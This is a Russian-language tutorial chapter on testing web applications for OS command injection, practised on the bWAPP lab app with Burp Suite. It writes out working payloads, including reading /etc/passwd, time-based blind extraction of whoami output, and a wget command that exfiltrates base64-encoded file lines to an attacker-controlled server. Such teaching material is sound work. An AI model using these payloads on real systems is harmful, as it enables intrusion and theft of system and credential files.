7.1. Как и тестировать уязвимости Command Injection

 

Процедура тестирования

Поиск и тестирование уязвимостей состоит из нескольких этапов:

  • Проведите ревизию сайта и определите точки входа, то есть места, которые используются для передачи данных на сервер. К ним относят:
    • Параметры в URL
    • Пути в URL
    • HTTP заголовки
    • Различные формы на странице (загрузка файла, выпадающие списки и т.д.)
  • С помощью программ прокси-перехватчиков внедрите простые команды и проследите за реакцией сервера.
  • Проведите фаззинг и по результатам работы программы выберете подходящую команду или набор команд.
  • Если результат команды не отображается на странице, то возможно она не сработала либо имеет место так называемая слепая инъекция, то есть Blind Command Injection. В данном случае эксплуатация уязвимости (взлом) возможна одни из ниже указанных методов:
    • Вызов задержки исполнения. Приложение на определенный промежуток времени «подвиснет» в ожидании ответа сервера.
    • Перенаправление вывода команды в другой файл на сервере. Содержимое данного файла можно будет прочесть через обзор изображений либо других файлов, которые отображаются на странице.
    • Эксфильтрация данных через DNS/HTTP запросы. Вызов сетевых команд для подключения к серверу, который контролируется злоумышленником.

Для быстрого поиска рекомендую в первую проматривать URL с параметрами. Чаще всего встречаются следующие названия параметров, которые возможно уязвимы Command Injection:

    • query
    • jump
    • do
    • func
    • option
    • load
    • process
    • read
    • req
    • feature
    • module
    • payload
    • run
    • print
    • file
    • filename

 

Command Injection – практика

Рассмотрим простой пример в приложении bWAPP. Выберете опцию OS Command Injection или просто введите URL http://IP_адрес_машины/ bWAPP/commandi.php. Здесь нам предлагается определить IP адрес по его доменному имени:

Выбор теста Command Injection в bWAPP

Кстати, сайтов, которые предлагают подобный функционал, достаточно много. Попробуем ввести любую команду, например ;pwd:

Тестирование уязвимости Command Injection в bWAPP

Сам запрос передается методом POST:

отображение запроса в burp Suite

Можно ввести и более сложную команду, например cat /etc/passwd и результат будет отображен на странице.

 

Blind Command Injection – практика

Рассмотрим другой пример. В это раз протестируем слепую инъекцию, когда результат на странице не отображается. Ниже разберем техники взлома, используемые при наличие данной уязвимости.

 

Перенаправление вывода команды в файл

Снова воспользуемся  bWAPP и выберет тест под названием OS Command Injection – Blind. Здесь приложение предлагает выполнить команду Ping, однако результат работы утилиты на странице не отображается.

Попробуем для начала выполнить простую команду, однако вывод команды запишем в новый текстовый файл, который затем окроем посредством прямой ссылки. В первую очередь необходимо определить отображаются ли какие-нибудь файлы на странице, например изображения. И такие файлы есть:

Отображение каталога, в котором хранятся изображения

Запоминаем название каталога и выполним следующую команду:

10.0.2.5;pwd>./images/injection.txt

Символ > используется для перенаправления вывода команды в указанный файл. Теперь откроем ссылку, чтобы открыть файл:

Перенаправление вывода команды в файл в слепой инъекции

Как видно, данный метод прекрасно работает.

 

Вызов задержки

Для подтверждения уязвимости можно также искусственно вызвать задержку выполнения команды. Ниже даны некоторые примеры команд:

На Windows:

# Задержка выполнения команды на 500 миллисекундping -n 1 -w 500 localhost# Задержка выполнения команды на 3 секундыtimeout /t 3

 

На Linux:

# Задержка выполнения команды на 5 секундping -c 5 127.0.0.1# Задержка выполнения на 5 секундsleep 5

 

Применим данный метод для тестирования Blind Command Injection. Снова откроем bWAPP и введем команду:

10.0.2.5;sleep 5

Браузер выдаст результат примерно через 5 секунд.

Однако, как взломать систему с помощью команд вызова задержки?

Для этого нам необходимо составить небольшой скрипт, который посимвольно будет проверять вывод команды и генерировать задержку, если будет обнаружено совпадение. 

Сам скрипт будет выглядеть так:

if [ $(whoami|cut -c 1) = a ]; then sleep 5; fi

Принцип работы очень простой. В начале выполняется выражение внутри $(), то есть команда whoami передает вывод утилите cut, которая в свою очередь извлекает первый символ. Затем происходит сравнение. Если условие верное, то выполняется команда sleep. Нам нужно будет выполнить серию запросов, то есть с каждой новой серией мы будем менять позицию символов в условии:

if [ $(whoami|cut -c 1) = a ]; then sleep 5; fi # Определение первого символаif [ $(whoami|cut -c 2) = a ]; then sleep 5; fi # Определение второго символаif [ $(whoami|cut -c 2) = a ]; then sleep 5; fi # Определение третьего символа

Для этого перехватываем соответствующий запрос с помощью Burp Suite или ZAP и внедряем наш эксплойт:

Подготовка эксплойта в Burp Suite для слепой инъекции

В качестве Payload составим простой текстовый файл с латинскими буквами, цифрами и символами дефис и нижнее подчеркивание. Загрузим составленный файл во вкладке Payloads:

Загрузка букв и символов из файла и Burp Suite

Запускаем атаку и наблюдаем за ней в новом окне. Если произошло совпадение символов, то задержка видна сразу, однако рекомендую включить дополнительные колонки:

настройка отображения колонок в Burp Suite

результат работы эксплйота с задержкой исполнения в слепой инъкеции

После того, как первый символ найден, запускаем следующую серию запросов.

 

Эксфильтрация через запрос на внешние ресурсы (Out of Band)

Если уязвимый сервер имеет доступ в интернет, то есть исходящие запросы разрешены, то можно провести эксфильтрацию данных через различные сетевые службы.

Для примера попробуем отправить HTTP запрос, на контролируемый сервер. Для начала запустим веб сервер на Kali:

python3 -m http.server 80

Теперь введем следующую команду:

10.0.2.5;wget http://10.0.2.5?data=$(whoami)

На веб сервере проверим логи:

Передача данных по HTTP в слепой инъекции команд

Как видно, все работает.

Однако, что делать, когда вывод команды содержит большое количество строк?

Попробуем выполнить команду cat /etc/passwd и посмотрим, что получим:

Неполная передача данных по HTTP при слепой инъекции команд

Вывод данных сильно обрезан, поэтому применим другую технику. Команда cat /etc/passwd выводит данные сразу в нескольких строках. Именно так эти данные и храняться в файле. Чтобы вывести каждую строку отдельно можно воспользоваться следующей командой:

cat /etc/passwd | sed -n '1p' # Выводит первую строкуcat /etc/passwd | sed -n '3p' # Выводит третью строку

Построчный вывод содержимого файла etc_passwd

Однако в таком виде мы не можем отправить данные по HTTP, поэтому полученную строку закодируем с помощью алгоритма Base64:

cat /etc/passwd | sed -n '3p' | base64

Кодирование содержимого файла с помощью base64

Теперь мы можем передать данные по HTTP. Итоговая команда будет выглядеть так:

10.0.2.5;wget http://10.0.2.5/$(cat /etc/passwd | sed -n '3p' | base64)

Передача закодированных данных по HTTP

Полученные данные можно декодировать в Burp Suite:

декодирование данных в Burp Suite

При желании, можно составить небольшой скрипт, который пройдется по всему файлу и в несколько итераций выдаст его содержимое.